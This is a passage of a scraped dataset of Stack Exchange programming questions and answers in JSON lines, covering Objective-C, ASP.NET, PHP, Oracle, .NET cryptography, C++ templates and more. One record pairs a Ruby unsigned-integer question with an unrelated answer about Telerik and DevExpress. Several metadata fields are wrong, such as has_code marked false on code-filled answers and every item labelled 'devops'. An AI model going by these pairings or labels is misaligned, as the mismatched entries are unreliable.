that this is actually very bad programming style. You should not access data members of another object directly. You should actually not even make them public. If you declare them private, the code above will fail (the compiler enforces that you don't do this). The other way is to implement a getter and access it via the getter:\n```\n```\n// This goes into the controller\n\n- (NSTextView) textView\n{\n    return textView;\n}\n\n// This is called in the modell\n\n[[c textView] ...];\n```\n```\nHowever, this is also bad design. The model might do whatever it wants with this object and your controller won't see it! Why doesn't you model just tell the controller what it wants to happen?\n```\n```\n// In the controller\n\n- (void) notifyContentHasChanged:(NSString *)name\n{\n    // update the text view here ...\n}\n\n// In the modell\n\n[c notifyContentHasChanged:...];\n```\n```\nAnd voila, you have MVC the way Apple wants it to be. The model only notifies the controller of what's going on and the controller updates the view accordingly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.902618"}
{"id": "hf_9302fa9181d1", "question": "<p>I am running a site about PHP Frameworks, but I can't find a exact definition for it, and I am always thinking a question, how to make out a good PHP framework? Features? Manual? Efficiency? Or something?</p>\n", "question_body": "", "answer": "A PHP Framework in my eyes is a collection of classes which help you develop a web application.\nIn my company we use the Zend Framework. I have to say that getting started with this Framework is pretty hard, but if you get how to use the API and the Reference Guide you have a great Framework. Also its interessting because they have Zend people sitting on the project so they can use those internal tricks and get some performance boosts others can't get.\nWhat also differs ZF from others is the ability to create MVC programms with no big hassles.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.942014"}
{"id": "hf_7df4f9c491df", "question": "<p>Ours is an upcoming company, so we cannot buy two three third party controls and find out by ourselves which the best one is.(One of the better solutions)\nWe have a budget to buy just one.\nSo we would like to know which is third party control is the best to use in ASP.NET based on your experiences.</p>\n<p>And also I definitely saw a question asked already here.</p>\n<p><a href=\"https://stackoverflow.com/questions/215993/best-3rd-party-aspnet-grid-control\">https://stackoverflow.com/questions/215993/best-3rd-party-aspnet-grid-control</a></p>\n<p>Still asking this because</p>\n<ol>\n<li>Wanna know not just about grid, i wanna know about the whole set.</li>\n<li>Didn't see many answers for that.</li>\n</ol>\n<p>So please provide us some advice on how to proceed.\nOur requirements are</p>\n<ol>\n<li>Bug Free working</li>\n<li>Speed</li>\n<li>Good documentation</li>\n<li>Excellent Support Team</li>\n</ol>\n<p>Also is there a third party ListView?</p>\n<p>Regards,</p>\n<p>Naveen</p>\n", "question_body": "", "answer": "For all those requirements, there's only two companies to choose from:\nTelerik\nand\nDevExpress\n.  Both have fantastic support and incredible ASP.NET products.  They release often, and are known to be constantly adding new controls.  I had to decide between the two about a year ago, and went with DevExpress because of the productivity tools included.\nThe difference I see between these two companies and larger competitors like Infragistics is they are dedicated to making the best quality and best performing products possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:52.999326"}
{"id": "hf_c8d6900d5efa", "question": "<p>A C-program is placing what it considers to be 64-bit unsigned integers into a column in a Postgres database that is typed as int8.\nTo Postgres, int8 is always 'signed int8' (no such thing to it as 'unsigned int8').\nSo the Ruby program I have shows numbers retrieved from Postgres in the upper half of that space as negative.</p>\n\n<p>What is the correct way, in Ruby, to take that -ve integer and convert it to the 64-bit <em>unsigned</em> integer that the C-programmer intended?</p>\n", "question_body": "", "answer": "For all those requirements, there's only two companies to choose from:\nTelerik\nand\nDevExpress\n.  Both have fantastic support and incredible ASP.NET products.  They release often, and are known to be constantly adding new controls.  I had to decide between the two about a year ago, and went with DevExpress because of the productivity tools included.\nThe difference I see between these two companies and larger competitors like Infragistics is they are dedicated to making the best quality and best performing products possible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.022283"}
{"id": "hf_dc861e47128a", "question": "<p>I am developing a Java desktop application and would like to have an external configuration.xml.<br>\nI am developing the application using Netbeans and tried to add the configuration.xml file in the dist directory so that it resides in the application work folder. But when Netbeans executes its clean operation it deletes the dist directory,<br>\nWhere should I put this configuration.xml file so that it will not be deleted and will exist in the application start-up directory.</p>\n", "question_body": "", "answer": "You can add this to your build.xml :\n```\n```\n<target name=\"-post-jar\">\n   <copy todir=\"${dist.jar.dir}\">\n       <fileset dir=\"resources\" includes=\"**\"/>\n   </copy>        \n</target>\n```\n```\nYou can now put your configuration.xml file in the folder 'resources' (that you need to create) in your project and all files in it will be copied to the dist folder during the build process.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.045018"}
{"id": "hf_11e826dfb924", "question": "<p>I have example of code below. </p>\n\n<pre><code>&lt;script type=\"text/javascript\" src=\"assets/scripts/somescript.php\"&gt;. \n&lt;/script&gt;\n</code></pre>\n\n<p>So, will my browser still cache this just by not setting this scripts headers meta tag cache to must-revalidate?</p>\n", "question_body": "", "answer": "If you send a\n```\nContent-type: text/javascript; charset=\"your_charset\"\n```\nthe browser will recognize your PHP script as a valid Javascript resource and will handle it like any other Javascript. You can control browser caching behavior by issuing the correct headers in your PHP script using\n```\nheader()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.067741"}
{"id": "hf_f0c647596a0d", "question": "<p>I want to increase the I/O priority of a process. Answers for both .NET and Windows Vista would be nice. processexplorer is ok as well.</p>\n", "question_body": "", "answer": "The relevant information seems to be a bit scattered compared to the usual MS documentation. There is this white paper that discusses\nI/O Prioritization in windows\n. This doc seems to have beta flags all over it but I guess it's probably mostly pretty accurate.\nTwo important things to note:\nYou can only reduce the priority of IO requests below normal.\nThe driver can ignore any such request and treat it as normal anyway.\nThe useful APIs for client applications are\nSetFileInformationByHandle\n:\n```\n```\nFILE_IO_PRIORITY_HINT_INFO priorityHint;\npriorityHint.PriorityHint = IoPriorityHintLow;\nresult = SetFileInformationByHandle( hFile,\n                                     FileIoPriorityHintInfo,\n                                     &priorityHint,\n                                     sizeof(PriorityHint));\n```\n```\nSetPriorityClass\n:\n```\n```\n// reduce CPU, page and IO priority for the whole process\nresult = SetPriorityClass( GetCurrentProcess(),\n                           PROCESS_MODE_BACKGROUND_BEGIN);\n// do stuff\nresult = SetPriorityClass( GetCurrentProcess(),\n                           PROCESS_MODE_BACKGROUND_END);\n```\n```\nSetThreadPriority\nwhich is similar:\n```\n```\n// reduce CPU, page and IO priority for the current thread\nSetThreadPriority(GetCurrentThread(), THREAD_MODE_BACKGROUND_BEGIN);\n// do stuff\nSetThreadPriority(GetCurrentThread(), THREAD_MODE_BACKGROUND_END);\n```\n```\nSetFileBandwithReservation\n:\n```\n```\n// reserve bandwidth of 200 bytes/sec\nresult = SetFileBandwidthReservation( hFile,\n                                  1000,\n                                  200,\n                                  FALSE,\n                                  &transferSize,\n                                  &outstandingRequests );\n```\n```\nFor .Net do the usual stuff with P/Invoke.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.102273"}
{"id": "hf_308952b3dfbc", "question": "<p>I'm using RSACryptoServiceProvider in .NET 2 and it seems that the Private part of a Public/Private key pair always contains the Public part as well.</p>\n\n<p>I need to encrypt some info using my Public key, and allow the other party to ONLY DECRYPT what I encrypted. I don't want them to be able to know how I encrypted my message. Is that possible using RSACryptoServiceProvider in .NET?</p>\n", "question_body": "", "answer": "The private key always includes the public key.\nWhat you might really want is Signing. Using the same .NET classes, you can sign data with your private key and verify the signature on the other party's side with the public key (which obviously doesn't contain the private key).\n```\n```\npublic static string Sign(string data, string privateAndPublicKey)\n    {\n        byte[] dataBytes = Encoding.UTF8.GetBytes(data);\n        RSACryptoServiceProvider provider = CreateProviderFromKey(privateAndPublicKey);\n        byte[] signatureBytes = provider.SignData(dataBytes, \"SHA1\");\n        return Convert.ToBase64String(signatureBytes);\n    }\n\n    public static bool Verify(string data, string signature, string publicKey)\n    {\n        byte[] dataBytes = Encoding.UTF8.GetBytes(data);\n        byte[] signatureBytes = Convert.FromBase64String(signature);\n        RSACryptoServiceProvider provider = CreateProviderFromKey(publicKey);\n        return provider.VerifyData(dataBytes, \"SHA1\", signatureBytes);\n    }\n\n    private static RSACryptoServiceProvider CreateProviderFromKey(string key)\n    {\n        RSACryptoServiceProvider provider = new RSACryptoServiceProvider();\n        provider.FromXmlString(key);\n        return provider;\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.129746"}
{"id": "hf_548f66a4009d", "question": "<p>If I have a template function, for example like this:</p>\n\n<pre><code>template&lt;typename T&gt;\nvoid func(const std::vector&lt;T&gt;&amp; v)\n</code></pre>\n\n<p>Is there any way I can determine within the function whether T is a pointer, or would I have to use another template function for this, ie:</p>\n\n<pre><code>template&lt;typename T&gt;\nvoid func(const std::vector&lt;T*&gt;&amp; v)\n</code></pre>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Indeed, templates can do that, with partial template specialization:\n```\n```\ntemplate<typename T>\nstruct is_pointer { static const bool value = false; };\n\ntemplate<typename T>\nstruct is_pointer<T*> { static const bool value = true; };\n\ntemplate<typename T>\nvoid func(const std::vector<T>& v) {\n    std::cout << \"is it a pointer? \" << is_pointer<T>::value << std::endl;\n}\n```\n```\nIf in the function you do things only valid to pointers, you better use the method of a separate function though, since the compiler type-checks the function as a whole.\nYou should, however, use boost for this, it includes that too:\nhttp://www.boost.org/doc/libs/1_37_0/libs/type_traits/doc/html/boost_typetraits/reference/is_pointer.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.175544"}
{"id": "hf_c67aa3cc344c", "question": "<p>I use the Autocomplete extender feature to get the list of suggestions from my database. There is no scroll bar for this control, so I have added a scroll bar in a panel (MS .net 2.0) which i attach to my autocomplete extender.Now the issue is with the srcoll bar.\nlike this </p>\n\n<pre><code>&lt;asp:Panel ID=\"autocompleteDropDownPanel\" runat=\"server\"  ScrollBars=\"Auto\"  Height=\"100px\" HorizontalAlign=\"Left\" /&gt;\n</code></pre>\n\n<p>and add it to autocompete extender  like this </p>\n\n<pre><code>:CompletionListElementID=\"autocompleteDropDownPanel\"\n</code></pre>\n\n<p>When I call my page, I get the list of suggestions and the scroll bar appears. When I click on scroll bar or try to drag, everything just disappears.</p>\n\n<p>Am i doing something wrong? Is there any other way to add a scroll bar to my autocomplete extender control</p>\n\n<p>Any hints would be very helpful.</p>\n", "question_body": "", "answer": "This does not directly answer your question - but I would ask if you're sure that the autocomplete extender is the best control to be using in this scenario.\nFrom a usability perspective the great thing about autocomplete is that I can type a 3-4 characters, see a few available inputs and easily select them using the keyboard using a few down-cursor keypresses.\nIf you are displaying more items in the autocomplete list than can be easily viewed on screen then I'm not sure that the fix is to add a scrollbar.\nIn our scenario we had a list of 2800 names that were available in the autocomplete. We limited the number shown to 20, but set the\n```\nMinimumPrefixLength\n```\nto 1. This meant that when the user typed one character they would see an autocomplete list that effectively just lets them know that the textbox they're typing in has this ability. The list of results in the list only becomes really useful once the user has entered 3-4 characters though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.210001"}
{"id": "hf_5f250ced5e2f", "question": "<p>I am probably doing something wrong -- but cant figure why.\nI have a DateTime field in my DB keeping a UTC time </p>\n\n<p>My server is in the US, and the browser is in Europe. </p>\n\n<p>The PageLoad Code is as follow:</p>\n\n<pre><code>DateTime t = DateTime.SpecifyKind((DateTime)rdr[\"startTime\"], DateTimeKind.Utc);\nlabel1.Text = t.ToLocalTime().ToString();\n</code></pre>\n\n<p>The time displayed I get is US localtime and not Europe. What should I do to display the browser's localtime?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "One technique is to detect the client timezone offset (in minutes) using JavaScript on the client browser:\n```\n```\nalert((new Date()).getTimezoneOffset());\n```\n```\nThis can then be sent back to the server and stored in the session, or a cookie, and used to offset the UTC dates displayed to them. Alternatively, another technique is to have user profiles where they can specify their timezone.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.233241"}
{"id": "hf_e72821046f6f", "question": "<p>OK, deploying ASP.NET MVC seems to be painful. I want to deploy my ASP.NET MVC application on Windows XP (IIS 5.1), but can't seem to find how to do it. When I type the application name into the web browser address bar I get a \"website not available\" message. </p>\n\n<p>There are workarounds for <a href=\"https://stackoverflow.com/questions/239981/deploy-aspnet-mvc-beta-to-iis-6-causing-404s\">IIS 6.0</a>, but what about IIS 5.1?  </p>\n", "question_body": "", "answer": "The\nsame\nprocess (using Ionic rewriter) which works for 6.0 works for us on 5.x. What do you see in the Windows App Event log? And the IIS server log? Have you tried a rewriter?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.278363"}
{"id": "hf_9793dce68192", "question": "<p>My team is responsible for the development of an API for a large system that we also write. We need to provide example code so that other developers using our API can learn how to use it. We have been documenting the code using the xml document comments.\neg.</p>\n\n<pre><code>/// &lt;summary&gt;Summary here&lt;/summary&gt;\n/// &lt;example&gt;Here is an example  &lt;code&gt;example code here&lt;/code&gt; &lt;/example&gt;\npublic void SomeFunction() \n</code></pre>\n\n<p>We then use Sandcastle and build the help files we need (chm and an online website).</p>\n\n<p>It is quite embarrassing when the example code doesnt work, and this is usually because some functionality has changed or a simple error.</p>\n\n<p>Has anyone ever done something like this, but also configured unit tests to run on the example code so that they are known to work during the build?</p>\n", "question_body": "", "answer": "Simple solution:\nMake a small application in which you include all the sample code headers and then call their respective entry points\n```\n```\n#include \"samples/sampleA.h\"\n\nvoid main()\n{\n  SomeFunction();\n}\n```\n```\nthen after you make a build run these little apps you need to be sure they ran ok.\nBut can you verify that the code ran ok without having someone have a slumber party with the NightlyBuild server?\nBetter Solution:\nLog the output and have someone look at it in the morning.\nEven Better Solution:\nLog the output and grep it or something so no one has to look at it unless its broken.\nBest Solution:\nFind a suitable test framework, hopefully something with all the bells and whistles you can get so it can email people if its broken or something like that. In our case we avoid the bells and whistles instead we connected a\nUSB Police Siren\nthat goes off when something breaks It's quite exciting!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.313317"}
{"id": "hf_54f5d8fb181a", "question": "<p>I am using Oracle form 10\nI want to know how can I access the parameters of URL in oracle form </p>\n\n<p>Ex:\nwhenever I run the form it opens in a browser and the URL for the same is</p>\n\n<p><a href=\"http://112.10.0.10:7778/forms/frmservlet?config=pkamble\" rel=\"nofollow noreferrer\">http://112.10.0.10:7778/forms/frmservlet?config=pkamble</a></p>\n\n<p>I just want to know how can I access the value of 'config' parameter inside oracle form code.</p>\n\n<p>when we run oracle form using 10g then </p>\n\n<p>I will appreciate the help !! </p>\n", "question_body": "", "answer": "I don't know if you can read config parameter, but to read another parameter from URL your URL have to be like:\n```\n```\nhttp://112.10.0.10:7778/forms/frmservlet?config=pkamble&otherparams=name=value\n```\n```\nIn your .fmb you will have to add 'name' parameter in the parameters block and then you could do something like:\n```\n```\nif :PARAMETER.name = 'value' then\n message('ok');\nend if;\n```\n```\nAnd for more than one parameter use:\n```\n```\nhttp://112.10.0.10:7778/forms/frmservlet?otherparams=name1=value1+name2=value2+name3=value3\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.336604"}
{"id": "hf_0986c75f5e26", "question": "<p>How do I declare a session variable in PL/SQL - one that will persist for the duration of the session only, without me having to store it in the database itself?</p>\n", "question_body": "", "answer": "You create a package level variable.  This is a minimal example:\n```\n```\nCREATE OR REPLACE PACKAGE my_package\nAS\n    FUNCTION get_a RETURN NUMBER;\nEND my_package;\n/\n\nCREATE OR REPLACE PACKAGE BODY my_package\nAS\n    a  NUMBER(20);\n\n    FUNCTION get_a\n    RETURN NUMBER\n    IS\n    BEGIN\n      RETURN a;\n    END get_a;\nEND my_package;\n/\n```\n```\nIf you do this you should read up on (and handle correctly)\n```\nORA-04068\n```\nerrors.  Each database session will have it's own value for a.  You can try this with:\n```\n```\nSELECT my_package.get_a FROM DUAL;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.359689"}
{"id": "hf_9f272db5927b", "question": "<p>In most programming languages, dictionaries are preferred over hashtables.\nWhat are the reasons behind that?</p>\n", "question_body": "", "answer": "Because\n```\nDictionary\n```\nis a generic class (\n```\nDictionary<TKey, TValue>\n```\n), so that accessing its content is type-safe (i.e. you do not need to cast from\n```\nObject\n```\n, as you do with a\n```\nHashtable\n```\n).\nCompare\n```\n```\nvar customers = new Dictionary<string, Customer>();\n...\nCustomer customer = customers[\"Ali G\"];\n```\n```\nto\n```\n```\nvar customers = new Hashtable();\n...\nCustomer customer = customers[\"Ali G\"] as Customer;\n```\n```\nHowever,\n```\nDictionary\n```\nis implemented as hash table internally, so technically it works the same way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.382903"}
{"id": "hf_d0e855dac4b6", "question": "<p>In a PHP application I am writing, I would like to have users enter in text a mix of HTML and text with pointed-brackets, but when I display this text, I want to let the HTML tags be rendered by the non-HTML tags be shown literary, e.g. a user should be able to enter:</p>\n\n<pre><code>&lt;b&gt; 5 &gt; 3 = true&lt;/b&gt;\n</code></pre>\n\n<p>when displayed, the user should see:</p>\n\n<p><strong>5 > 3 = true</strong></p>\n\n<p>What is the best way to parse this, i.e. find all the non-HTML brackets, convert them to &amp;gt; and &amp;lt;?</p>\n", "question_body": "", "answer": "I'd recommend having the users enter BBcode style markup which you then replace with the html tags:\n```\n```\n[b]This is bold[/b]\n[i]this is italic with a > 'greater than' sign there[/i]\n```\n```\nThis gives you more control over how you parse user's input into html, though I admit it looks like an unnecessary burden.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.418214"}
{"id": "hf_6dc94bfdba75", "question": "<p>Coming from a java background, one of the things I am used to is telling the JVM what the maximum heap size should be.  If the running program tries to swallow more than is allowed, and the garbage collector cannot free any more resources, then OutOfMemoryError is thrown and it all goes bang.  So setting the maximum heap size is important in Java.</p>\n\n<p><strong>Does this apply in .net?</strong>  Can you set the heap size limits?  Does the CLR just keep growing its heap until it reaches the machine's physical limits?  Or is it not an issue in .net for some subtle reason that my Java blinkers stop me from seeing?</p>\n", "question_body": "", "answer": "No, it doesn't apply in .NET. The heap does indeed keep growing until it can't grow any more. (Obviously this is \"after attempting to recover memory through GC, grow the heap\".) Basically there isn't nearly as much tuning available in the .NET GC as in Java. You can choose the server GC or the client one, and I think there's an option for turning on/off the concurrent GC (I'll find links in a minute) but that's basically it.\nEDIT: It seems there's a little more to it, although not a huge amount.\nRick Minerich's blog entry on GC settings\nand\nthe subsequent one\nseem to know rather more than I do about the matter. They're probably a good starting point for any further investigation - but they're mostly flags rather than the sort of memory limits available in JVMs.\nEDIT: Pop's answer raises a good point - I've been assuming a \"normal\" CLR hosting model (i.e. not under your control). If you want to go to the effort of hosting it yourself, you're likely to get a lot more control - at the cost of the extra work of hosting it. I can't say I've ever looked into that side of things.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.474942"}
{"id": "hf_23c09c82a731", "question": "<p>I am working with Rails fixtures for testing my rails application.  It is all good except one of my database columns is supposed to hold YAML content.  But, I am sure how to put the YAML markup I want to load into my database inside the YAML file.  Here is an example:</p>\n\n<pre><code>mvnforum:\n    name: mvnforum\n    abstraction_type: SVN\n    url: src: test username: admin #is this possible?\n    sourcepath: mvnforum/src/\n    webroot:\n    codesecure_project: mvnforum\n</code></pre>\n\n<p>If it is impossible to have YAML inside a YAML file what would be the best why to load this into a database for testing?</p>\n", "question_body": "", "answer": "If you want to put YAML code inside a YAML document, you need to treat it like a string:\n```\n```\nurl: \"src: test username: admin\"\n```\n```\nIf you need a multiline string, you can do\n```\n```\nmvnforum:\n   name: mvnforum\n   abstraction_type: SVN\n   url: \"\nsrc: test\\n\nusername: admin\\n\n\"\n   sourcepath: mvnforum/src/\n   webroot:\n   codesecure_project: mvnforum\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.498328"}
{"id": "hf_83bcb768ef6b", "question": "<p>This might of been asked elsewhere (seems like a useful topic) but searches turned up nothing.</p>\n\n<p>One feature I love in Eclipse when programming Java is that I don't have to worry about putting in the import statements and any missed functions from interfaces that I am implementing them - if I do miss them a simple click from a list implements them for me.</p>\n\n<p>Now I am working in VisualStudio2008 with C# I am really missing that functionality. I was wondering if the functionality is in there, but buried or can be purchased through a 3rd party?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "you have to pay for this feature. Look at Resharper 4.0 from JetBrains. It is a perfect solution for me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.521507"}
{"id": "hf_418da607fdf8", "question": "<p>Since the speed of the top Javascript engines seems to be on par, the next criteria is footprint.  What are the code and data footprints of the leading javascript engines?</p>\n", "question_body": "", "answer": "squirrelfish should have the smallest footprint ( i remember i read somewhere that it uses a really simple translation table from JS code to native code), but if you want something very small you should look at earlier js engines (that dont use native code tables) as they interpret code as they go, and dont compile the whole thing according to the current machine.\nI dont see the point of comparing js engines though as they are basically single-threaded(well new engines are multithreaded but this is from the new \"highly-optimized\" engines) and they are only loaded once, and then interpret megabytes of JS code... The speed is more important than size..even for mobile devices, because i dont expect a JS engine to use more than 1-2Mb of memory(even that is waaay too much in my opinion..) but the sum of JS scripts in a JS based page can easily pass that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.544042"}
{"id": "hf_2d72d5baa0b1", "question": "<p>I have a method to return a group of objects as a generic list which I then bind to a Repeater. I want to implement paging on the repeater using the PagedDataSource class but I'm not sure that this is possible as it doesn't seem to work.</p>\n\n<p>Will I have to change the return type of my method or is it possible to bind the PagedDataSource to the generic list?</p>\n", "question_body": "", "answer": "I've just modified some of my code to use a generic list and seems to have worked fine, hope this helps:\nNote that this entire method can be called with or without a page number to automatically set the page, it also builds a paging control inside of a panel calling PagingPanel.\nThe line that sets the DataSource on the PagedDataSource instance (dataSource) did take an array of NewsItems (searchResults), I've updated it to consume a List that's created using the NewItem array.\n```\n```\nvoid PopulateNewsItems (int? pageNo)\n{\n    var model = ModelFactory.GetNewsModel ();\n    var searchResults = model.GetNewsItems ();\n\n    var dataSource = new PagedDataSource ();\n\n    // CHANGED THE ARRAY OF NEWSITEMS INTO A GENERIC LIST OF NEWSITEMS.\n    dataSource.DataSource = new List<NewsItem> (searchResults);\n    dataSource.AllowPaging = true;\n\n    var pageSizeFromConfig = ConfigurationManager.AppSettings[\"NewsItemsPageCount\"];\n    var pageSize = 10;\n\n    int.TryParse (pageSizeFromConfig, out pageSize);\n\n    dataSource.PageSize = pageSize;\n    dataSource.CurrentPageIndex = pageNo ?? 0;\n\n    PagingPanel.Controls.Clear ();\n    for (var i = 0; i < dataSource.PageCount; i++)\n    {\n        var linkButton = new LinkButton ();\n        linkButton.CommandArgument = i.ToString ();\n        linkButton.CommandName = \"PageNo\";\n        linkButton.Command += NavigationCommand;\n        linkButton.ID = string.Format (\"PageNo{0}LinkButton\", i);\n        if (pageNo == i || (pageNo == null && i == 0))\n        {\n            linkButton.Enabled = false;\n            linkButton.CssClass = \"SelectedPageLink\";\n        }\n\n        linkButton.Text = (i + 1).ToString ();\n\n        PagingPanel.Controls.Add (linkButton);\n        if (i < (dataSource.PageCount - 1))\n            PagingPanel.Controls.Add (new LiteralControl (\"|\"));\n    }\n\n    NewsRepeater.DataSource = dataSource;\n    NewsRepeater.DataBind ();\n}\n\nvoid NavigationCommand (object sender, CommandEventArgs e)\n{\n    PopulateNewsItems (int.Parse ((string)e.CommandArgument));\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.567021"}
{"id": "hf_6ba52823f632", "question": "<p>...or am I stuck rolling my own \"XML chopping\" functions. I'd like to create a small tasktray app so I can quickly re-point a Virual Directory to one of several of folders on my harddisk.</p>\n\n<p><strong>Bit of background:</strong> </p>\n\n<p>I have 3 different svn branches of our code base on my dev machine.</p>\n\n<pre><code>Current Production Branch    ( C:\\Projects\\....\\branches\\Prod\\ )\nNext Release Canidate Branch ( C:\\Projects\\....\\branches\\RCX\\ )\nTrunk                        ( C:\\Projects\\....\\trunk\\ )\n</code></pre>\n\n<p>Our app integrates with a 3rd party CMS which I've installed at</p>\n\n<pre><code>http://localhost/cms/\n</code></pre>\n\n<p>In order to work our app has to live at the same root directory. so:</p>\n\n<pre><code>http://localhost/app/\n</code></pre>\n\n<p>Depending on the branch I'm working on, I'm re-pointing the <code>/app/</code> directory to one of the 3 paths listed above by going into IIS Manager. Just thought it'd be handy to have a quick-app to do it for me.</p>\n", "question_body": "", "answer": "I haven't used this my self, so I'm not 100% sure it will solve your problem. But take a look at System.DirectoryServices in .NET. It can access IIS.\nMSDN help for DirectoryServices", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.624449"}
{"id": "hf_b42724400aa0", "question": "<p>I want to create a compiled JavaScript file for my website.  For development I would prefer to keep the JavaScript in separate files and just as part of my automated scripts  concatenate the files into one and run the compressor over it.</p>\n\n<p>My problem is that if I use the old DOS copy command it also puts in the EOF markers which the compressor complains about:</p>\n\n<p>copy /A *.js compiled.js /Y</p>\n\n<p>What are other people doing?</p>\n", "question_body": "", "answer": "To copy without EOF use binary mode:\n```\n```\ncopy /B *.js compiled.js /Y\n```\n```\nIf the resulting file still has EOFs, that might have come from one of original files,\nit can be fixed by this variant:\n```\n```\ncopy /A *.js compiled.js /B /Y\n```\n```\n/A removes trailing EOFs from original files if any and /B prevents appending EOF to the resulting file. If an EOF is not at the end, the source file will be truncated at it. The order of switches is important. If you write\n```\n```\ncopy /A *.js /B compiled.js /Y\n```\n```\n- EOFs in source files won't be removed but still resulting EOF won't be appended.\nTry it yourself, thats where I get it. DOS commands are weird.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:53.647412"}
